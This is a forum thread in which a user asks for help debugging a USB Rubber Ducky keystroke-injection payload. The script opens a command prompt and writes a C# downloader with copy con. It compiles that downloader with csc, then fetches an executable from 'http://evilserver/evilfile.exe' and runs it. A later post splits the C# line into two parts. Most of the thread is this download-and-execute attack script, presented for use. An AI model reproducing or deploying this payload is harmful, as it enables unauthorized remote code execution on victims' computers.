Jump to content

[Payload] Problem With Copy Con


MrJannieSA
 Share

Recommended Posts

Hi,

I am having issues when using ducky and copy con, cmd.exe I can see the copy con but, but the ducky writes funny chars.

I have checked my Keyb layout, it's English US.

The idea of this script is to copy con a one-liner to .cs file, then call uppon the csc compiler in dotNet Framework to compile to .exe

Windows CMD Output:

-------------------------------------------------------------------------------------

Microsoft Windows [Version 6.1.7601]

Copyright © 2009 Microsoft Corporation. All rights reserved.

C:\Users\########>copy con %temp%\dl.cs

copy con %temp%\dl.cs/|#J######*J#######G########G##########JJ(_#JJ(G##G####

-------------------------------------------------------------------------------------

The Ducky code:

-------------------------------------------------------------------------------------

GUI r

DELAY 400

STRING cmd.exe

DELAY 400

ENTER

DELAY 400

STRING copy con %temp%\dl.cs

ENTER

STRING using System; using System.Net; using System.IO; public class Test{public static void Main (string[] args){WebClient client = new WebClient ();client.DownloadFile(args[0], args[1]);}}

ENTER

DELAY 400

CTRL z

ENTER

STRING %WinDir%\Microsoft.Net\Framework\v3.5\csc /out:"%temp%\dl.exe" "%temp%\dl.cs"

ENTER

DELAY 1000

STRING %temp%\dl.exe http://evilserver/evilfile.exe %temp%\evilfile.exe

ENTER

DELAY 1000

STRING %temp%\evilfile.exe

ENTER

-------------------------------------------------------------------------------------

Link to comment
Share on other sites

Update:

Changed the code a little thinking maybe the string of chars is too long, but stil lno luck.

.....

.....

STRING copy con %temp%\dl.cs

ENTER

DELAY 200

ENTER

STRING using System; using System.Net; using System.IO; public class Test{public static void Main (string[] args)

STRING {WebClient client = new WebClient ();client.DownloadFile(args[0], args[1]);}}

ENTER

CTRL z

.....

.....

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...